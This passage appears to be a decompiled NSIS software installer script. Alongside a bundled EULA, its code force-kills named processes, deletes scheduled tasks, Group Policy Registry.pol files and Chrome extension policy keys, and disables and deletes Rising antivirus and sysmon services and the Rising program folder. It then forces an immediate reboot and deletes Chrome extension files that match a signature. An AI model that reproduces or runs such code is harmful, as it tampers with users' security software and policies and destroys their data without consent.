; Push "cmd /k taskkill /IM monn.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::Exec "cmd /k taskkill /IM mokka.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM mokka.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::Exec "cmd /k taskkill /IM zikk.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM zikk.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::Exec "cmd /k taskkill /IM milk.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM milk.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::Exec "cmd /k taskkill /IM rizotto.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM rizotto.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::Exec "cmd /k taskkill /IM motto.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM motto.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::ExecToStack "schtasks /delete /tn $\"Microsoft Windows Video$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "schtasks /delete /tn $\"Microsoft Windows Video$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack
nsExec::ExecToStack "schtasks /delete /tn $\"Windows Media Sharing$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "schtasks /delete /tn $\"Windows Media Sharing$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack
RMDir /r /REBOOTOK $APPDATA\Micron
RMDir /r /REBOOTOK $APPDATA\Microsoft\Vision
RMDir /r /REBOOTOK $APPDATA\Microsoft\Video
System::Call kernel32::Wow64EnableWow64FsRedirection(i0)
; Call Initialize_____Plugins
; File $PLUGINSDIR\System.dll
; SetDetailsPrint lastused
; Push kernel32::Wow64EnableWow64FsRedirection(i0)
; CallInstDLL $PLUGINSDIR\System.dll Call
IfFileExists $SYSDIR\GroupPolicy\Machine\Registry.pol 0 label_19077
Delete /REBOOTOK $SYSDIR\GroupPolicy\Machine\Registry.pol
label_19077:
IfFileExists $SYSDIR\GroupPolicy\User\Registry.pol 0 label_19079
Delete /REBOOTOK $SYSDIR\GroupPolicy\User\Registry.pol
label_19079:
System::Call kernel32::Wow64EnableWow64FsRedirection(i1)
; Call Initialize_____Plugins
; File $PLUGINSDIR\System.dll
; SetDetailsPrint lastused
; Push kernel32::Wow64EnableWow64FsRedirection(i1)
; CallInstDLL $PLUGINSDIR\System.dll Call
IfFileExists $SYSDIR\GroupPolicy\Machine\Registry.pol 0 label_19086
Delete /REBOOTOK $SYSDIR\GroupPolicy\Machine\Registry.pol
label_19086:
IfFileExists $SYSDIR\GroupPolicy\User\Registry.pol 0 label_19088
Delete /REBOOTOK $SYSDIR\GroupPolicy\User\Registry.pol
label_19088:
DeleteRegKey HKLM Software\Policies\Chromium\ExtensionInstallForcelist
label_19089:
ClearErrors
EnumRegKey $0 HKCU Software\Policies\Google\Chrome\ExtensionInstallForcelist $0
IfErrors label_19093
DeleteRegKey HKCU Software\Policies\Google\Chrome\ExtensionInstallForcelist
label_19093:
StrCpy $1 ""
ClearErrors
EnumRegKey $0 HKLM Software\Policies\Google\Chrome\Ext$1ensionInst$1allForce$1list $0
IfErrors label_19098
DeleteRegKey HKLM Software\Policies\Google\Chrome\Ext$1ensionInst$1allForce$1list
label_19098:
ClearErrors
EnumRegKey $0 HKCU "Software\Microsoft\Windows\CurrentVersion\Group Policy\History\{35378EAC-683F-11D2-A89A-00C04FBBCFA2}" $0
IfErrors label_19102
DeleteRegKey HKCU "Software\Microsoft\Windows\CurrentVersion\Group Policy\History\{35378EAC-683F-11D2-A89A-00C04FBBCFA2}"
label_19102:
IfFileExists "$DESKTOP\Continue installation .lnk" 0 label_19104
Delete "$DESKTOP\Continue installation .lnk"
label_19104:
IfFileExists "$DESKTOP\Ôèëüìû îíëàéí.URL" 0 label_19106
Delete "$DESKTOP\Ôèëüìû îíëàéí.URL"
label_19106:
IfFileExists "$DESKTOP\Ôèëüìû îíëàéí.URL" 0 label_19108
Delete "$DESKTOP\Ôèëüìû îíëàéí.URL"
label_19108:
IfFileExists "$DESKTOP\Ïðîãðàììû äëÿ Windows.URL" 0 label_19110
Delete "$DESKTOP\Ïðîãðàììû äëÿ Windows.URL"
label_19110:
IfFileExists "$DESKTOP\Gîogle Ñhrome.lnk" 0 label_19112
Delete "$DESKTOP\Gîogle Ñhrome.lnk"
label_19112:
IfFileExists "$DESKTOP\Ìozilla Firåfox.lnk" 0 label_19114
Delete "$DESKTOP\Ìozilla Firåfox.lnk"
label_19114:
IfFileExists $DESKTOP\Îperà.lnk 0 label_19116
Delete $DESKTOP\Îperà.lnk
label_19116:
IfFileExists $SMSTARTUP\WebBrowserMixVideoPlayer.lnk 0 label_19118
Delete /REBOOTOK $SMSTARTUP\WebBrowserMixVideoPlayer.lnk
label_19118:
IfFileExists "$SMSTARTUP\Aktiv Download Manager.lnk" 0 label_19120
Delete /REBOOTOK "$SMSTARTUP\Aktiv Download Manager.lnk"
label_19120:
IfFileExists "$DESKTOP\Baisvik Disk Cleaner 3.lnk" 0 label_19122
Delete "$DESKTOP\Baisvik Disk Cleaner 3.lnk"
label_19122:
IfFileExists "$DESKTOP\Äîñêà Îáúÿâëåíèé.url" 0 label_19124
Delete "$DESKTOP\Äîñêà Îáúÿâëåíèé.url"
label_19124:
IfFileExists "$DESKTOP\Ïîèñê â Èíòåðíåòå.url" 0 label_19126
Delete "$DESKTOP\Ïîèñê â Èíòåðíåòå.url"
label_19126:
FunctionEnd
Function func_19127
IfFileExists $EXEDIR\rrm label_19163
nsExec::Exec "cmd /k sc config Defense start= disabled"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k sc config Defense start= disabled"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::Exec "cmd /k sc config RsMgrSvc start= disabled"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k sc config RsMgrSvc start= disabled"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::Exec "cmd /k sc config sysmon start= disabled"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k sc config sysmon start= disabled"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::Exec "cmd /k reg delete $\"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run$\" /v RavTRAY /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k reg delete $\"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run$\" /v RavTRAY /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::Exec "cmd /k reg delete $\"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run$\" /v RSDTRAY /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k reg delete $\"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run$\" /v RSDTRAY /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
FileOpen $1 $EXEDIR\rrm w
FileWrite $1 ""
FileClose $1
IfFileExists $EXEDIR\rrm 0 label_19163
nsExec::Exec "cmd /k shutdown -r -t 0"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k shutdown -r -t 0"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
Quit
label_19163:
DeleteRegKey HKLM SYSTEM\ControlSet001\services\RsRavMon
DeleteRegKey HKLM SYSTEM\ControlSet001\services\sysmon
DeleteRegKey HKLM SYSTEM\ControlSet001\services\Defense
StrCpy $2 RsMgrSvc
DeleteRegKey HKLM SYSTEM\ControlSet001\services\$2
DeleteRegKey HKLM SYSTEM\ControlSet002\services\$2
DeleteRegKey HKLM SYSTEM\ControlSet002\services\Defense
DeleteRegKey HKCU SOFTWARE\MozillaPlugins\@rising.com.cn/nprising
DeleteRegKey HKLM SOFTWARE\MozillaPlugins\@rising.com.cn/nprising
DeleteRegValue HKLM SOFTWARE\Microsoft\Windows\CurrentVersion\Run RSDTRAY
DeleteRegValue HKLM SOFTWARE\Microsoft\Windows\CurrentVersion\Run RavTRAY
Delete $DESKTOP\install.msi
RMDir /r /REBOOTOK $PROGRAMFILES\Rising
FunctionEnd
Function func_19177
Exch $1
; Push $1
; Exch
; Pop $1
IfFileExists $1 0 label_19199
StrCpy $2 ""
StrCpy $3 ""
FindFirst $3 $2 $1\*_*
label_19184:
StrCmp $2 "" label_19198
IfFileExists $1\$2\background.js 0 label_19196
FileOpen $5 $1\$2\background.js r
FileRead $5 $6 32
FileClose $5
StrCmp $6 "!function(){function isArraylike" 0 label_19196
nsExec::Exec "cmd /k taskkill /IM $\"chrome.exe$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM $\"chrome.exe$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
Delete /REBOOTOK $1\$2\background.js
label_19196:
FindNext $3 $2
Goto label_19184
label_19198:
FindClose $3
label_19199:
FunctionEnd
Function func_19200
IfFileExists $LOCALAPPDATA\fupdate\fupdate.exe label_19204
ClearErrors
EnumRegKey $0 HKCU Software\Microsoft\vklPlugin nb_lifetime
IfErrors label_19214
label_19204:
IfFileExists "$LOCALAPPDATA\Google\Chrome\User Data\Default\Extensions\*" 0 label_19214
StrCpy $0 ""
FindFirst $0 $R1 "$LOCALAPPDATA\Google\Chrome\User Data\Default\Extensions\*"
label_19207:
StrCmp $R1 "" label_19213
IfFileExists "$LOCALAPPDATA\Google\Chrome\User Data\Default\Extensions\$R1\*_*" 0 label_19211
Push "$LOCALAPPDATA\Google\Chrome\User Data\Default\Extensions\$R1"
Call func_19177
label_19211:
FindNext $0 $R1
Goto label_19207
label_19213:
FindClose $0
label_19214:
FunctionEnd
Function func_19215
IfFileExists "$LOCALAPPDATA\Google\Chrome\User Data\Default\Extensions\onnpamhldelphfpbjneadljcchmcbomn" label_19217
IfFileExists "$LOCALAPPDATA\Google\Chrome\User Data\Default\Extensions\cagkfnokdfofofnblbpfjnapdojmoffn" 0 label_19226
label_19217:
IfFileExists $PROGRAMFILES\Google\Chrome\Application\chrome.exe 0 label_19226
SetShellVarContext all
SetOutPath $PROGRAMFILES\Google\Chrome\Application
CreateShortCut "$DESKTOP\Google Chrome.lnk" https://www.google.ru/chrome/browser/desktop/ "" $PROGRAMFILES\Google\Chrome\Application\chrome.exe
SetShellVarContext current
IfFileExists "$DESKTOP\Google Chrome.lnk" 0 label_19224
Delete /REBOOTOK "$DESKTOP\Google Chrome.lnk"
label_19224:
RMDir /r /REBOOTOK "$LOCALAPPDATA\Google\Chrome\User Data\Default\Extensions\onnpamhldelphfpbjneadljcchmcbomn"
RMDir /r /REBOOTOK "$LOCALAPPDATA\Google\Chrome\User Data\Default\Extensions\cagkfnokdfofofnblbpfjnapdojmoffn"
label_19226:
FunctionEnd
Function func_19227
Exch $R1
; Push $R1
; Exch
; Pop $R1
StrCpy $1 ""
StrCpy $R2 ""
FindFirst $1 $R2 $APPDATA\$R1\*.exe
label_19233:
StrCmp $R2 "" label_19241
nsExec::Exec "cmd /k taskkill /IM $\"$R2$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM $\"$R2$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
FindNext $1 $R2
Goto label_19233
label_19241:
FindClose $1
FunctionEnd
Function func_19243
Exch $1
; Push $1
; Exch
; Pop $1
Exch
Exch $2
; Push $2
; Exch
; Pop $2
Exch
Push $R0
StrCpy $_156_ ""
StrCpy $_157_ ""
StrCpy $_154_ ""
StrCpy $_155_ ""
StrCpy $_158_ ""
IntOp $_154_ $_154_ + 1
IntOp $_155_ $_155_ + 1
label_19259:
StrCpy $R0 $1 1 $_154_
IntOp $_154_ $_154_ + 1
StrCmp $R0 "" label_19265
StrCmp $R0 . label_19265
StrCpy $_156_ $_156_$R0
Goto label_19259
label_19265:
StrCmp $_156_ "" 0 label_19267
StrCpy $_156_ 0
label_19267:
StrCpy $R0 $2 1 $_155_
IntOp $_155_ $_155_ + 1
StrCmp $R0 "" label_19273
StrCmp $R0 . label_19273
StrCpy $_157_ $_157_$R0
Goto label_19267
label_19273:
StrCmp $_157_ "" 0 label_19275
StrCpy $_157_ 0
label_19275:
IntCmp $_156_ $_157_ label_19280 label_19276 label_19278
label_19276:
StrCpy $_158_ 2
Goto label_19350
label_19278:
StrCpy $_158_ 1
Goto label_19350
label_19280:
StrCpy $_156_ ""
StrCpy $_157_ ""
label_19282:
StrCpy $R0 $1 1 $_154_
IntOp $_154_ $_154_ + 1
StrCmp $R0 "" label_19288
StrCmp $R0 . label_19288
StrCpy $_156_ $_156_$R0
Goto label_19282
label_19288:
StrCmp $_156_ "" 0 label_19290
StrCpy $_156_ 0
label_19290:
StrCpy $R0 $2 1 $_155_
IntOp $_155_ $_155_ + 1
StrCmp $R0 "" label_19296
StrCmp $R0 . label_19296
StrCpy $_157_ $_157_$R0
Goto label_19290
label_19296:
StrCmp $_157_ "" 0 label_19298
StrCpy $_157_ 0
label_19298:
IntCmp $_156_ $_157_ label_19303 label_19299 label_19301
label_19299:
StrCpy $_158_ 2
Goto label_19350
label_19301:
StrCpy $_158_ 1
Goto label_19350
label_19303:
StrCpy $_156_ ""
StrCpy $_157_ ""
label_19305:
StrCpy $R0 $1 1 $_154_
IntOp $_154_ $_154_ + 1
StrCmp $R0 "" label_19311
StrCmp $R0 . label_19311
StrCpy $_156_ $_156_$R0
Goto label_19305
label_19311:
StrCmp $_156_ "" 0 label_19313
StrCpy $_156_ 0
label_19313:
StrCpy $R0 $2 1 $_155_
IntOp $_155_ $_155_ + 1
StrCmp $R0 "" label_19319
StrCmp $R0 . label_19319
StrCpy $_157_ $_157_$R0
Goto label_19313
label_19319:
StrCmp $_157_ "" 0 label_19321
StrCpy $_157_ 0
label_19321:
IntCmp $_156_ $_157_ label_19326 label_19322 label_19324
label_19322:
StrCpy $_158_ 2
Goto label_19350
label_19324:
StrCpy $_158_ 1
Goto label_19350
label_19326:
StrCpy $_156_ ""
StrCpy $_157_ ""
label_19328:
StrCpy $R0 $1 1 $_154_
IntOp $_154_ $_154_ + 1
StrCmp $R0 "" label_19334
StrCmp $R0 . label_19334
StrCpy $_156_ $_156_$R0
Goto label_19328
label_19334:
StrCmp $_156_ "" 0 label_19336
StrCpy $_156_ 0
label_19336:
StrCpy $R0 $2 1 $_155_
IntOp $_155_ $_155_ + 1
StrCmp $R0 "" label_19342
StrCmp $R0 . label_19342
StrCpy $_157_ $_157_$R0
Goto label_19336
label_19342:
StrCmp $_157_ "" 0 label_19344
StrCpy $_157_ 0
label_19344:
IntCmp $_156_ $_157_ label_19349 label_19345 label_19347
label_19345:
StrCpy $_158_ 2
Goto label_19350
label_19347:
StrCpy $_158_ 1
Goto label_19350
label_19349:
StrCpy $_158_ 0
label_19350:
Pop $R0
Pop $1
Pop $2
Push $_158_
FunctionEnd
Function func_19355
IfFileExists $COMMONFILES\$_106_\Uninstall.exe label_19358
StrCmp $_32_ 1 label_19358
WriteUninstaller $COMMONFILES\$_106_\Uninstall.exe ; $INSTDIR\$COMMONFILES\$_106_\Uninstall.exe
label_19358:
FunctionEnd
Function func_19359
IfFileExists $PLUGINSDIR\eula.txt label_19362
SetOutPath $PLUGINSDIR
SetOverwrite on
AllowSkipFiles on
File eula.txt
label_19362:
Return
ExecShell open $PLUGINSDIR\eula.txt ; "open $PLUGINSDIR\eula.txt"
FunctionEnd
Function func_19365
Exch $1
; Push $1
; Exch
; Pop $1
Push $1
Call func_13252
Pop $1
StrCpy $2 $1 6
Push $2
Call func_13252
Pop $2
StrCpy $1 $1 "" 6
StrCpy $1 $2$1
StrCpy $2 $1 "" -6
Push $2
Call func_13252
Pop $2
StrCpy $1 $1 -6
StrCpy $1 $1$2
Push $1
FunctionEnd
/*
Function Initialize_____Plugins
SetDetailsPrint none
StrCmp $PLUGINSDIR "" 0 label_19395
Push $0
SetErrors
GetTempFileName $0
Delete $0
CreateDirectory $0
IfErrors label_19396
StrCpy $PLUGINSDIR $0
Pop $0
label_19395:
Return
label_19396:
MessageBox MB_OK|MB_ICONSTOP "Error! Can't initialize plug-ins directory. Please try again later." /SD IDOK
Quit
FunctionEnd
*/
; --------------------
; UNREFERENCED STRINGS:
/*
70 $COMMONFILES
*/